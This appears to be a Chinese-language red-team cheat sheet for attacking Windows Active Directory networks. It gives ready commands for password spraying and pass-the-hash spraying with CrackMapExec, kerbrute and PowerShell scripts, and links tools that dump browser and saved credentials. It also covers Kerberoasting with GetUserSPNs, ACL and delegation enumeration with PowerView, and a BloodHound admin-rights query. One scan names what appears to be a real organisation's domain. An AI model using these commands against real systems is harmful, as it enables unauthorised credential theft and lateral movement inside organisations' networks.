内网侦查

目录

密码喷洒

https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-DomainPasswordSprayOutsideTheDomain.ps1(只能在域外喷洒)

Invoke-DomainPasswordSprayOutsideTheDomain -Domain "10.0.0.10/DC=ds,DC=local" -UserList .\user.txt -Password p@ssw0rd -Verbose

或者https://github.com/dafthack/DomainPasswordSpray,有个import-module会遇到的坑https://github.com/dafthack/DomainPasswordSpray/issues/31

Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

上面两个ps1在cs上无法直观看到喷洒情况

或者cme https://github.com/Porchetta-Industries/CrackMapExec(m2芯片不太兼容)

crackmapexec 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd' 

或者https://github.com/TarlogicSecurity/kerbrute.git python脚本 (力荐,挂代理直接喷)

hash喷洒

cme

cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaa35b51404ee:5509de4ff0a6e8d9f4a61100e51' --local-auth

空smb会话扫描

mylanviewer

泉顺用的。套代理不好用,得在物理机搞

掏密码

https://github.com/RowTeam/SharpDecryptPwd 综合掏

https://github.com/QAX-A-Team/BrowserGhost 只掏浏览器,年代久远

综合扫描

powerview-python版

https://github.com/the-useless-one/pywerview.git

https://github.com/aniqfakhrul/powerview.py

需要控制的机器开启ldap

zscan

https://github.com/zyylhn/zscan端口扫描器+密码爆破工具+部分cve检测

bloodhound

要先装neo4j,图像化展示

查看每个机器的管理员账户有哪些

MATCH (c:Computer)
OPTIONAL MATCH (u1:User)-[:AdminTo]->(c)
OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c)
WITH COLLECT(u1) + COLLECT(u2) AS tempVar,c
UNWIND tempVar AS admins
RETURN c.name AS computerName,admins.name AS adminName
ORDER BY computerName ASC

查看acl

powerview

可能存在确实IdentityReference的情况,从而导致 “不能直观的知道哪个用户的该权限作用于此用户”

不过可以根据SecurityIdentifier指向的sid推断

Get-ObjectAcl -samAccountName username -ResolveGUIDs

查看谁对bob有genericall权限
Get-ObjectAcl -samAccountName bob -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}

查看bob对哪个用户有权限
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "bob"}
若poweiview没有IdentityReference属性
  Get-ObjectAcl -ResolveGUIDs | ? {$_.SecurityIdentifier -eq "SID-xxx-x-x-x-xx"}

查看任何用户对某用户组的权限
在distinguishedname中找到某用户组的对ldap路径
Get-NetGroup "domain admins" -FullData 
进行acl查询
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}

dsacls.exe

dsacls "CN=bob,CN=Users,DC=cia,DC=gov"

Active Directory Module

在Windows Server 2008 R2或者更高的版本的powershell控制台我们需要在使用之前执行以下命令将模块作为功能添加到服务器管理器中:

Import-Module ServerManager
Add-WindowsFeature RSAT-AD-PowerShell
import-module ActiveDirectory

(Get-Acl -Path "AD:CN=bob,CN=Users,DC=cia,DC=gov").access

查spn

impacket

getuserspns.py

py -3 GetUserSPNs.py test.com/administrator:1qaz@WSX -target-domain test.com

域用户可登录主机查看

adfind

查询某个域用户能登录哪些机器,-h参数指定ldap的数据库服务器

AdFind.exe -sc u:xiaoming userWorkstations -h ad.caonima.com

查询某个域用户正在登录哪台主机

net user

net user xxx /domain
可允许的工作站里便是

常见cve扫描

advul

https://github.com/Amulab/advul

委派

非约束性委派

扫描

Get-NetUser -Domain de1ay.com|? {$_.useraccountcontrl -like "*trusted_for_delegation*"}

约束性委派

扫描

Get-NetUser -trustedtoauth -Domain shfe.com.cn

文件搜索

everything,可以直接起一个http端口用来查文件https://www.freebuf.com/sectool/261723.html